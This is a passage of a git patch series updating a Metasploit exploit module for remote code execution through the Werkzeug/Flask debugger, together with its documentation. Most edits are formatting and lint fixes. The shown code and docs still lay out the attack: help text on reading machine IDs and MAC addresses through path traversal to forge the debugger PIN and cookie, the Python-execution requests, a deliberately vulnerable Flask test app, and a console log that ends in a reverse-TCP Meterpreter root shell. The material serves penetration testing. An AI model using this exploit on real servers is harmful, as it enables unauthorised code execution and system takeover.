- 'debugger via an exception, it will be at the top of the stack trace. E.g. ' \
- '/usr/local/lib/python3.12/site-packages/flask/app.py (the file extension may ' \
- 'need to be changed to .pyc)', ''],
- conditions: %w[AUTHMODE == generated-cookie]),
- # https://learn.microsoft.com/en-us/windows/win32/api/rpcdce/nf-rpcdce-uuidcreatesequential
- OptString.new('MACADDRESS', [false,
- 'MAC address of the system that the service is running on. If you have path ' \
- 'traversal on Linux, this could be read from /sys/class/net/eth0/address.', nil],
- conditions: %w[AUTHMODE == generated-cookie]),
- OptString.new('MACHINEID', [false,
- 'If you have path traversal on Linux, this could be read from /etc/machine-id, or ' \
- "if that doesn't exist, /proc/sys/kernel/random/boot_id. On Windows it is a UUID " \
- 'stored in the registry at HKLM\SOFTWARE\Microsoft\Cryptography\MachineGuid. On ' \
- 'macOS, this is the UTF-8 encoded serial number of the system (lower-case ' \
- 'hexadecimal), padded to 32 characters. E.g. N0TAREALSERIAL becomes ' \
- '4e3054415245414c53455249414c000000000000000000000000000000000000. This can be ' \
- "retrieved with the following command 'ioreg -c IOPlatformExpertDevice | grep " \
- '\"serial-number\"', nil],
- conditions: %w[AUTHMODE == generated-cookie]),
- OptString.new('MODULENAME', [false, 'Name of the module. Often flask.app or werkzeug.debug', 'flask.app'],
- conditions: %w[AUTHMODE == generated-cookie]),
- OptString.new('SERVICEUSER', [false,
- 'User account name that the service is running under. If you have path ' \
- 'traversal on Linux, you may be able to read this from /proc/self/environ',
- 'root'],
- conditions: %w[AUTHMODE == generated-cookie]),
+ # Options for generating cookie/PIN
+ OptString.new('APPNAME', [false, 'Name of the app. Often Flask, DebuggedApplication or wsgi_app', 'Flask'],
+ conditions: %w[AUTHMODE == generated-cookie]),
+ # https://stackoverflow.com/questions/69002675/on-debian-11-bullseye-proc-self-cgroup-inside-a-docker-container-does-not-sho
+ # https://stackoverflow.com/questions/68816329/how-to-get-docker-container-id-from-within-the-container-with-cgroup-v2
+ OptString.new('CGROUP', [
+ false,
+ "Control group. This may be an empty string (''), for example if the OS running the " \
+ 'app is Linux and supports cgroup v2, or the OS is not Linux. If you have path ' \
+ 'traversal on Linux, this could be read from /proc/self/cgroup',
+ ''
+ ], conditions: %w[AUTHMODE == generated-cookie]),
+ OptString.new('FLASKPATH', [
+ false,
+ 'Path to (and including) site-packages/flask/app.py. If you have triggered the ' \
+ 'debugger via an exception, it will be at the top of the stack trace. E.g. ' \
+ '/usr/local/lib/python3.12/site-packages/flask/app.py (the file extension may ' \
+ 'need to be changed to .pyc)', ''
+ ],
+ conditions: %w[AUTHMODE == generated-cookie]),
+ # https://learn.microsoft.com/en-us/windows/win32/api/rpcdce/nf-rpcdce-uuidcreatesequential
+ OptString.new('MACADDRESS', [
+ false,
+ 'MAC address of the system that the service is running on. If you have path ' \
+ 'traversal on Linux, this could be read from /sys/class/net/eth0/address.', nil
+ ],
+ conditions: %w[AUTHMODE == generated-cookie]),
+ OptString.new('MACHINEID', [
+ false,
+ 'If you have path traversal on Linux, this could be read from /etc/machine-id, or ' \
+ "if that doesn't exist, /proc/sys/kernel/random/boot_id. On Windows it is a UUID " \
+ 'stored in the registry at HKLM\SOFTWARE\Microsoft\Cryptography\MachineGuid. On ' \
+ 'macOS, this is the UTF-8 encoded serial number of the system (lower-case ' \
+ 'hexadecimal), padded to 32 characters. E.g. N0TAREALSERIAL becomes ' \
+ '4e3054415245414c53455249414c000000000000000000000000000000000000. This can be ' \
+ "retrieved with the following command 'ioreg -c IOPlatformExpertDevice | grep " \
+ '\"serial-number\"', nil
+ ],
+ conditions: %w[AUTHMODE == generated-cookie]),
+ OptString.new('MODULENAME', [false, 'Name of the module. Often flask.app or werkzeug.debug', 'flask.app'],
+ conditions: %w[AUTHMODE == generated-cookie]),
+ OptString.new('SERVICEUSER', [
+ false,
+ 'User account name that the service is running under. If you have path ' \
+ 'traversal on Linux, you may be able to read this from /proc/self/environ',
+ 'root'
+ ],
+ conditions: %w[AUTHMODE == generated-cookie]),
- # Options for sending a body, if required to invoke the debugger
- OptString.new(
- 'REQUESTBODY',
- [false, "Body to send in #{METHODS_WITH_BODY.join('/')} request, if required to trigger the debugger"],
- conditions: ['METHOD', 'in', METHODS_WITH_BODY]
- ),
+ # Options for sending a body, if required to invoke the debugger
+ OptString.new(
+ 'REQUESTBODY',
+ [false, "Body to send in #{METHODS_WITH_BODY.join('/')} request, if required to trigger the debugger"],
+ conditions: ['METHOD', 'in', METHODS_WITH_BODY]
+ ),
- # This is a hack because if I use "!= nil", then "info" shows "... is not :", which reads badly. Don't judge me!
- OptString.new('REQUESTCONTENTTYPE', [false, 'Body encoding', 'application/x-www-form-urlencoded'],
- conditions: %w[REQUESTBODY == set])],
+ # This is a hack because if I use "!= nil", then "info" shows "... is not :", which reads badly. Don't judge me!
+ OptString.new('REQUESTCONTENTTYPE', [false, 'Body encoding', 'application/x-www-form-urlencoded'],
+ conditions: %w[REQUESTBODY == set])
+ ],
self.class
)
end
@@ -153,28 +191,32 @@ def config_invalid?
# Check that target supports selected authentication mode
if datastore['TARGET'] == 3 && datastore['AUTHMODE'] != 'none'
return CheckCode::Unknown(
- "AUTHMODE is set to '#{datastore['AUTHMODE']}', but TARGET '#{datastore['TARGET']}' does not " \
- "require/support authentication. Change TARGET or set AUTHMODE to 'none'")
+ "AUTHMODE is set to '#{datastore['AUTHMODE']}', but TARGET '#{datastore['TARGET']}' does not " \
+ "require/support authentication. Change TARGET or set AUTHMODE to 'none'"
+ )
end
case datastore['AUTHMODE']
when 'known-cookie'
unless COOKIE_PATTERN =~ datastore['COOKIE']
return CheckCode::Unknown(
- 'AUTHMODE is set to known-cookie, so COOKIE must be set to a valid cookie, e.g. ' \
- "'__wzda0b1c2d3e4f5a6b7c8d9=9999999999|a0b1c2d3e4f5'")
+ 'AUTHMODE is set to known-cookie, so COOKIE must be set to a valid cookie, e.g. ' \
+ "'__wzda0b1c2d3e4f5a6b7c8d9=9999999999|a0b1c2d3e4f5'"
+ )
end
when 'known-PIN'
unless PIN_PATTERN =~ datastore['PIN']
return CheckCode::Unknown(
- 'AUTHMODE is set to known-PIN, so PIN must be set to a number with or without hyphens')
+ 'AUTHMODE is set to known-PIN, so PIN must be set to a number with or without hyphens'
+ )
end
when 'generated-cookie'
# Check that *all* values used to generate cookie & pin are set
unless all_generation_values_set?
return CheckCode::Unknown(
- "AUTHMODE is set to #{datastore['AUTHMODE']}, so ALL of the following must be set: " \
- 'SERVICEUSER, MODULENAME, APPNAME, MACADDRESS, MACHINEID, FLASKPATH & CGROUP') # Alphabetise
+ "AUTHMODE is set to #{datastore['AUTHMODE']}, so ALL of the following must be set: " \
+ 'SERVICEUSER, MODULENAME, APPNAME, MACADDRESS, MACHINEID, FLASKPATH & CGROUP'
+ ) # Alphabetise
end
# Check for valid MAC address
unless MAC_PATTERN =~ datastore['MACADDRESS']
@@ -186,16 +228,17 @@ def config_invalid?
return unless datastore['REQUESTBODY'] && !METHODS_WITH_BODY.include?(datastore['METHOD'])
return CheckCode::Unknown(
- "REQUESTBODY set but METHOD ('#{datastore['METHOD']}') does not support a request body")
+ "REQUESTBODY set but METHOD ('#{datastore['METHOD']}') does not support a request body"
+ )
end
# Retrieve secret and frame
def secret_and_frame
res = send_request_cgi(
'method' => datastore['METHOD'],
- 'uri' => normalize_uri(target_uri),
- 'data' => (datastore['REQUESTBODY'] if METHODS_WITH_BODY.include?(datastore['METHOD'])),
- 'ctype' => (datastore['REQUESTCONTENTTYPE'] if datastore['REQUESTBODY'])
+ 'uri' => normalize_uri(target_uri),
+ 'data' => (datastore['REQUESTBODY'] if METHODS_WITH_BODY.include?(datastore['METHOD'])),
+ 'ctype' => (datastore['REQUESTCONTENTTYPE'] if datastore['REQUESTBODY'])
)
unless res
print_error "Unable to connect to http#{'s' if datastore['SSL']}://#{datastore['RHOST']}:#{datastore['RPORT']}"
@@ -218,16 +261,18 @@ def secret_and_frame
def cookies(secret)
res, duration = Rex::Stopwatch.elapsed_time do
send_request_cgi(
- 'uri' => normalize_uri(target_uri),
- 'vars_get' => { '__debugger__' => 'yes',
- 'cmd' => 'pinauth',
- 'pin' => datastore['PIN'],
- 's' => secret }
+ 'uri' => normalize_uri(target_uri),
+ 'vars_get' => {
+ '__debugger__' => 'yes',
+ 'cmd' => 'pinauth',
+ 'pin' => datastore['PIN'],
+ 's' => secret
+ }
)
end
unless res
fail_with(Failure::TimeoutExpired,
- "Unable to connect to http#{'s' if datastore['SSL']}://#{datastore['RHOST']}:#{datastore['RPORT']}")
+ "Unable to connect to http#{'s' if datastore['SSL']}://#{datastore['RHOST']}:#{datastore['RPORT']}")
end
if res.get_json_document['exhausted']
fail_with(Failure::NoAccess,
@@ -283,27 +328,28 @@ def generated_cookie
def execute_python(cmd, secret, frame, cookies = '')
send_request_cgi(
- 'method' => 'GET',
+ 'method' => 'GET',
# Path without querystring because triggering debugger may have required parameters
- 'uri' => normalize_uri(target_uri.path),
+ 'uri' => normalize_uri(target_uri.path),
'vars_get' => {
'__debugger__' => 'yes',
- 'cmd' => cmd,
- 's' => secret,
- 'frm' => frame
+ 'cmd' => cmd,
+ 's' => secret,
+ 'frm' => frame
},
- 'cookie' => cookies
+ 'cookie' => cookies
)
end
def check_code_exec(secret, frame, cookies = '')
- canary = rand()
+ canary = rand
execute_python(canary, secret, frame, cookies).body.start_with? ">>> #{canary}"
end
def check
c = config_invalid?
return c if c
+
match = secret_and_frame
unless match
return CheckCode::Unknown('HTTP response not recognised as Werkzeug')
@@ -311,15 +357,18 @@ def check
unless match[:evalex_enabled]
return CheckCode::Safe('Debugger does not allow code execution')
end
+
print_status 'Debugger allows code execution'
if match[:pin_required]
return CheckCode::Detected('Debugger requires authentication')
end
+
print_status 'Debugger does not require authentication'
# Now check whether code execution is possible by evaluating something
unless check_code_exec(match[:secret], match[:frame] || 0)
return CheckCode::Safe('Attempted code execution failed')
end
+
CheckCode::Vulnerable('Code execution was successful')
end
From f369a80fccdd8241776b1eb7f3ab67db8346ad2c Mon Sep 17 00:00:00 2001
From: Graeme Robinson
Date: Sun, 13 Oct 2024 22:55:12 +0100
Subject: [PATCH 09/10] Satisfy msftidy_docs against werkzeug_debug_rce.md
---
.../exploit/multi/http/werkzeug_debug_rce.md | 492 +++++++++---------
1 file changed, 237 insertions(+), 255 deletions(-)
diff --git a/documentation/modules/exploit/multi/http/werkzeug_debug_rce.md b/documentation/modules/exploit/multi/http/werkzeug_debug_rce.md
index 04a5a83a9f6b..cd735b112f9b 100644
--- a/documentation/modules/exploit/multi/http/werkzeug_debug_rce.md
+++ b/documentation/modules/exploit/multi/http/werkzeug_debug_rce.md
@@ -103,213 +103,197 @@ requesting the content of a file that doesn't exist in the container.
#### compose.yaml
-```
-services:
- werkzeug-3.0.3:
- build:
- dockerfile: werkzeug-3.0.3.Dockerfile
- ports:
- - "80:80"
- werkzeug-1.0.1:
- build:
- dockerfile: werkzeug-1.0.1.Dockerfile
- ports:
- - "81:80"
- werkzeug-0.11.5:
- build:
- dockerfile: werkzeug-0.11.5.Dockerfile
- ports:
- - "82:80"
- werkzeug-0.10:
- build:
- dockerfile: werkzeug-0.10.Dockerfile
- ports:
- - "83:80"
- werkzeug-3.0.3-basicauth-custompin:
- build:
- dockerfile: werkzeug-3.0.3-basicauth.Dockerfile
- environment:
- WERKZEUG_DEBUG_PIN: 1234
- ports:
- - "84:80"
- werkzeug-3.0.3-noevalex:
- build:
- dockerfile: werkzeug-3.0.3.Dockerfile
- ports:
- - "85:80"
- entrypoint:
- - ./app.py
- - --no-evalex
-```
+ services:
+ werkzeug-3.0.3:
+ build:
+ dockerfile: werkzeug-3.0.3.Dockerfile
+ ports:
+ - "80:80"
+ werkzeug-1.0.1:
+ build:
+ dockerfile: werkzeug-1.0.1.Dockerfile
+ ports:
+ - "81:80"
+ werkzeug-0.11.5:
+ build:
+ dockerfile: werkzeug-0.11.5.Dockerfile
+ ports:
+ - "82:80"
+ werkzeug-0.10:
+ build:
+ dockerfile: werkzeug-0.10.Dockerfile
+ ports:
+ - "83:80"
+ werkzeug-3.0.3-basicauth-custompin:
+ build:
+ dockerfile: werkzeug-3.0.3-basicauth.Dockerfile
+ environment:
+ WERKZEUG_DEBUG_PIN: 1234
+ ports:
+ - "84:80"
+ werkzeug-3.0.3-noevalex:
+ build:
+ dockerfile: werkzeug-3.0.3.Dockerfile
+ ports:
+ - "85:80"
+ entrypoint:
+ - ./app.py
+ - --no-evalex
#### werkzeug-3.0.3.Dockerfile
-```
-# syntax=docker/dockerfile:1
-FROM python:3
-RUN pip install werkzeug==3.0.3 flask==3.0.3
-COPY report.txt .
-COPY --chmod=744 app.py .
-EXPOSE 80
-ENTRYPOINT ["./app.py"]
-```
+ # syntax=docker/dockerfile:1
+ FROM python:3
+ RUN pip install werkzeug==3.0.3 flask==3.0.3
+ COPY report.txt .
+ COPY --chmod=744 app.py .
+ EXPOSE 80
+ ENTRYPOINT ["./app.py"]
#### werkzeug-1.0.1.Dockerfile
-```
-# syntax=docker/dockerfile:1
-FROM python:2
-RUN pip install werkzeug==1.0.1 flask==1.1.4
-COPY report.txt .
-COPY --chmod=744 app.py .
-EXPOSE 80
-ENTRYPOINT ["./app.py"]
-```
+ # syntax=docker/dockerfile:1
+ FROM python:2
+ RUN pip install werkzeug==1.0.1 flask==1.1.4
+ COPY report.txt .
+ COPY --chmod=744 app.py .
+ EXPOSE 80
+ ENTRYPOINT ["./app.py"]
#### werkzeug-0.11.5.Dockerfile
-```
-# syntax=docker/dockerfile:1
-FROM python:2
-RUN pip install werkzeug==0.11.5 flask==0.12.5
-COPY report.txt .
-COPY --chmod=744 app.py .
-EXPOSE 80
-ENTRYPOINT ["./app.py"]
-```
+ # syntax=docker/dockerfile:1
+ FROM python:2
+ RUN pip install werkzeug==0.11.5 flask==0.12.5
+ COPY report.txt .
+ COPY --chmod=744 app.py .
+ EXPOSE 80
+ ENTRYPOINT ["./app.py"]
#### werkzeug-0.10.Dockerfile
-```
-# syntax=docker/dockerfile:1
-FROM python:2
-RUN pip install werkzeug==0.10 flask==0.12.5
-COPY report.txt .
-COPY --chmod=744 app.py .
-EXPOSE 80
-ENTRYPOINT ["./app.py"]
-```
+ # syntax=docker/dockerfile:1
+ FROM python:2
+ RUN pip install werkzeug==0.10 flask==0.12.5
+ COPY report.txt .
+ COPY --chmod=744 app.py .
+ EXPOSE 80
+ ENTRYPOINT ["./app.py"]
#### werkzeug-3.0.3-basicauth.Dockerfile
-```
-# syntax=docker/dockerfile:1
-FROM python:3
-RUN pip install werkzeug==3.0.3 flask==3.0.3 flask-httpauth==4.8.0
-COPY report.txt .
-COPY --chmod=744 app-basicauth.py app.py
-EXPOSE 80
-ENTRYPOINT ["./app.py"]
-```
+ # syntax=docker/dockerfile:1
+ FROM python:3
+ RUN pip install werkzeug==3.0.3 flask==3.0.3 flask-httpauth==4.8.0
+ COPY report.txt .
+ COPY --chmod=744 app-basicauth.py app.py
+ EXPOSE 80
+ ENTRYPOINT ["./app.py"]
#### app.py
-```
-#!/usr/bin/env python
-
-import click
-from flask import Flask, request, url_for, make_response
-from sys import argv
-
-app = Flask(__name__)
-
-@app.route("/")
-def index():
- return (
- ''
- 'Download Report Using GET
'
- ''
-)
-
-def build_response(filename):
- with open(filename) as file:
- response = make_response(file.read())
- response.headers['Content-disposition'] = 'attachment'
- return response
-
-@app.route("/getdownload")
-def getdownload():
- return build_response(request.args.get('file'))
-
-@app.route("/postdownload", methods=['POST', 'PUT'])
-def postdownload():
- return build_response(request.form['file'])
-
-@click.command()
-@click.option("--no-evalex", is_flag=True, default=False)
-def runserver(no_evalex):
- evalex = not no_evalex
- app.run(host='0.0.0.0', port=80, debug=True, threaded=True,
- use_reloader=False, use_evalex=evalex)
-
-if __name__ == '__main__':
- runserver()
-```
+ #!/usr/bin/env python
+
+ import click
+ from flask import Flask, request, url_for, make_response
+ from sys import argv
+
+ app = Flask(__name__)
+
+ @app.route("/")
+ def index():
+ return (
+ ''
+ 'Download Report Using GET
'
+ ''
+ )
+
+ def build_response(filename):
+ with open(filename) as file:
+ response = make_response(file.read())
+ response.headers['Content-disposition'] = 'attachment'
+ return response
+
+ @app.route("/getdownload")
+ def getdownload():
+ return build_response(request.args.get('file'))
+
+ @app.route("/postdownload", methods=['POST', 'PUT'])
+ def postdownload():
+ return build_response(request.form['file'])
+
+ @click.command()
+ @click.option("--no-evalex", is_flag=True, default=False)
+ def runserver(no_evalex):
+ evalex = not no_evalex
+ app.run(host='0.0.0.0', port=80, debug=True, threaded=True,
+ use_reloader=False, use_evalex=evalex)
+
+ if __name__ == '__main__':
+ runserver()
#### app-basicauth.py
-```
-#!/usr/bin/env python
-
-import click
-from flask import Flask, request, url_for, make_response
-from sys import argv
-
-from flask_httpauth import HTTPBasicAuth
-from werkzeug.security import generate_password_hash, check_password_hash
-
-app = Flask(__name__)
-
-auth = HTTPBasicAuth()
-users = {"admin": generate_password_hash("admin")}
-
-@auth.verify_password
-def verify_password(username, password):
- if username in users and \
- check_password_hash(users.get(username), password):
- return username
-
-@app.route("/")
-@auth.login_required
-def index():
- return (
- ''
- 'Download Report Using GET
'
- ''
-)
-
-def build_response(filename):
- with open(filename) as file:
- response = make_response(file.read())
- response.headers['Content-disposition'] = 'attachment'
- return response
-
-@app.route("/getdownload")
-@auth.login_required
-def getdownload():
- return build_response(request.args.get('file'))
-
-@app.route("/postdownload", methods=['POST', 'PUT'])
-@auth.login_required
-def postdownload():
- return build_response(request.form['file'])
-
-@click.command()
-@click.option("--no-evalex", is_flag=True, default=False)
-def runserver(no_evalex):
- evalex = not no_evalex
- app.run(host='0.0.0.0', port=80, debug=True, threaded=True,
- use_reloader=False, use_evalex=evalex)
-
-if __name__ == '__main__':
- runserver()
-```
+ #!/usr/bin/env python
+
+ import click
+ from flask import Flask, request, url_for, make_response
+ from sys import argv
+
+ from flask_httpauth import HTTPBasicAuth
+ from werkzeug.security import generate_password_hash, check_password_hash
+
+ app = Flask(__name__)
+
+ auth = HTTPBasicAuth()
+ users = {"admin": generate_password_hash("admin")}
+
+ @auth.verify_password
+ def verify_password(username, password):
+ if username in users and \
+ check_password_hash(users.get(username), password):
+ return username
+
+ @app.route("/")
+ @auth.login_required
+ def index():
+ return (
+ ''
+ 'Download Report Using GET
'
+ ''
+ )
+
+ def build_response(filename):
+ with open(filename) as file:
+ response = make_response(file.read())
+ response.headers['Content-disposition'] = 'attachment'
+ return response
+
+ @app.route("/getdownload")
+ @auth.login_required
+ def getdownload():
+ return build_response(request.args.get('file'))
+
+ @app.route("/postdownload", methods=['POST', 'PUT'])
+ @auth.login_required
+ def postdownload():
+ return build_response(request.form['file'])
+
+ @click.command()
+ @click.option("--no-evalex", is_flag=True, default=False)
+ def runserver(no_evalex):
+ evalex = not no_evalex
+ app.run(host='0.0.0.0', port=80, debug=True, threaded=True,
+ use_reloader=False, use_evalex=evalex)
+
+ if __name__ == '__main__':
+ runserver()
## Verification Steps
@@ -540,78 +524,76 @@ cookie. Valid values are:
Example utilizing the previously mentioned sample app listed above.
-```
-$ msfconsole -q
-msf6 > use exploit/multi/http/werkzeug_debug_rce
-[*] No payload configured, defaulting to python/meterpreter/reverse_tcp
-msf6 exploit(multi/http/werkzeug_debug_rce) > set RHOSTS 192.168.23.5
-RHOSTS => 192.168.23.5
-msf6 exploit(multi/http/werkzeug_debug_rce) > set LHOST 192.168.23.117
-LHOST => 192.168.23.117
-msf6 exploit(multi/http/werkzeug_debug_rce) > set VHOST 127.0.0.1
-VHOST => 127.0.0.1
-msf6 exploit(multi/http/werkzeug_debug_rce) > set MACADDRESS 02:42:ac:12:00:04
-MACADDRESS => 02:42:ac:12:00:04
-msf6 exploit(multi/http/werkzeug_debug_rce) > set MACHINEID 8d496199-a25e-4340-9c8d-2dc2041c75f8
-MACHINEID => 8d496199-a25e-4340-9c8d-2dc2041c75f8
-msf6 exploit(multi/http/werkzeug_debug_rce) > set FLASKPATH /usr/local/lib/python3.12/site-packages/flask/app.py
-FLASKPATH => /usr/local/lib/python3.12/site-packages/flask/app.py
-msf6 exploit(multi/http/werkzeug_debug_rce) > run
-
-[*] Started reverse TCP handler on 192.168.23.117:4444
-[*] Running automatic check ("set AutoCheck false" to disable)
-[*] Debugger allows code execution
-[!] Debugger requires authentication
-[!] The service is running, but could not be validated.
-[*] Generated authentication PIN: 105-774-671
-[*] Generated authentication cookie: __wzdb0f3242143622dccd6f0=9999999999|3037ec0e9248
-[*] Sending stage (24772 bytes) to 192.168.23.5
-[*] Meterpreter session 1 opened (192.168.23.117:4444 -> 192.168.23.5:62474) at 2024-10-06 19:34:20 +0100
-
-meterpreter > getpid
-Current pid: 38
-meterpreter > getuid
-Server username: root
-meterpreter > sysinfo
-Computer : 3eb759665d5f
-OS : Linux 6.6.51-0-virt #1-Alpine SMP PREEMPT_DYNAMIC 2024-09-12 12:56:22
-Architecture : aarch64
-System Language : C
-Meterpreter : python/linux
-meterpreter > shell
-Process 41 created.
-Channel 1 created.
-
-ls
-app.py
-bin
-boot
-dev
-etc
-home
-lib
-media
-mnt
-opt
-proc
-report.txt
-root
-run
-sbin
-srv
-sys
-tmp
-usr
-var
-exit
-```
+ $ msfconsole -q
+ msf6 > use exploit/multi/http/werkzeug_debug_rce
+ [*] No payload configured, defaulting to python/meterpreter/reverse_tcp
+ msf6 exploit(multi/http/werkzeug_debug_rce) > set RHOSTS 192.168.23.5
+ RHOSTS => 192.168.23.5
+ msf6 exploit(multi/http/werkzeug_debug_rce) > set LHOST 192.168.23.117
+ LHOST => 192.168.23.117
+ msf6 exploit(multi/http/werkzeug_debug_rce) > set VHOST 127.0.0.1
+ VHOST => 127.0.0.1
+ msf6 exploit(multi/http/werkzeug_debug_rce) > set MACADDRESS 02:42:ac:12:00:04
+ MACADDRESS => 02:42:ac:12:00:04
+ msf6 exploit(multi/http/werkzeug_debug_rce) > set MACHINEID 8d496199-a25e-4340-9c8d-2dc2041c75f8
+ MACHINEID => 8d496199-a25e-4340-9c8d-2dc2041c75f8
+ msf6 exploit(multi/http/werkzeug_debug_rce) > set FLASKPATH /usr/local/lib/python3.12/site-packages/flask/app.py
+ FLASKPATH => /usr/local/lib/python3.12/site-packages/flask/app.py
+ msf6 exploit(multi/http/werkzeug_debug_rce) > run
+
+ [*] Started reverse TCP handler on 192.168.23.117:4444
+ [*] Running automatic check ("set AutoCheck false" to disable)
+ [*] Debugger allows code execution
+ [!] Debugger requires authentication
+ [!] The service is running, but could not be validated.
+ [*] Generated authentication PIN: 105-774-671
+ [*] Generated authentication cookie: __wzdb0f3242143622dccd6f0=9999999999|3037ec0e9248
+ [*] Sending stage (24772 bytes) to 192.168.23.5
+ [*] Meterpreter session 1 opened (192.168.23.117:4444 -> 192.168.23.5:62474) at 2024-10-06 19:34:20 +0100
+
+ meterpreter > getpid
+ Current pid: 38
+ meterpreter > getuid
+ Server username: root
+ meterpreter > sysinfo
+ Computer : 3eb759665d5f
+ OS : Linux 6.6.51-0-virt #1-Alpine SMP PREEMPT_DYNAMIC 2024-09-12 12:56:22
+ Architecture : aarch64
+ System Language : C
+ Meterpreter : python/linux
+ meterpreter > shell
+ Process 41 created.
+ Channel 1 created.
+
+ ls
+ app.py
+ bin
+ boot
+ dev
+ etc
+ home
+ lib
+ media
+ mnt
+ opt
+ proc
+ report.txt
+ root
+ run
+ sbin
+ srv
+ sys
+ tmp
+ usr
+ var
+ exit
## Credits
-
+
- 2015 - h00die (mike[at]shorebreaksecurity.com)
- Initial module targetting versions 0.10 and older of Werkzeug that do not require authentication.
- 2024 - Graeme Robinson (metasploit[at]grobinson.me/@GraSec)
- Support up to and including version 3.0.3 of Werkzeug via 3 different authentication mechanisms:
- - Generated Cookie (bypasses PIN-lock)
- - Known-Cookie (bypasses PIN-lock)
- - Known-PIN
+ - Generated Cookie (bypasses PIN-lock)
+ - Known-Cookie (bypasses PIN-lock)
+ - Known-PIN
From 5228acb0f17f605e21bb40d182b8b8138e289bcf Mon Sep 17 00:00:00 2001
From: Graeme Robinson
Date: Sun, 13 Oct 2024 23:11:52 +0100
Subject: [PATCH 10/10] Update werkzeug_debug_rce docs to show modified output
---
documentation/modules/exploit/multi/http/werkzeug_debug_rce.md | 3 +--
1 file changed, 1 insertion(+), 2 deletions(-)
diff --git a/documentation/modules/exploit/multi/http/werkzeug_debug_rce.md b/documentation/modules/exploit/multi/http/werkzeug_debug_rce.md
index cd735b112f9b..8a1f0400ef52 100644
--- a/documentation/modules/exploit/multi/http/werkzeug_debug_rce.md
+++ b/documentation/modules/exploit/multi/http/werkzeug_debug_rce.md
@@ -544,8 +544,7 @@ Example utilizing the previously mentioned sample app listed above.
[*] Started reverse TCP handler on 192.168.23.117:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Debugger allows code execution
- [!] Debugger requires authentication
- [!] The service is running, but could not be validated.
+ [!] The service is running, but could not be validated. Debugger requires authentication
[*] Generated authentication PIN: 105-774-671
[*] Generated authentication cookie: __wzdb0f3242143622dccd6f0=9999999999|3037ec0e9248
[*] Sending stage (24772 bytes) to 192.168.23.5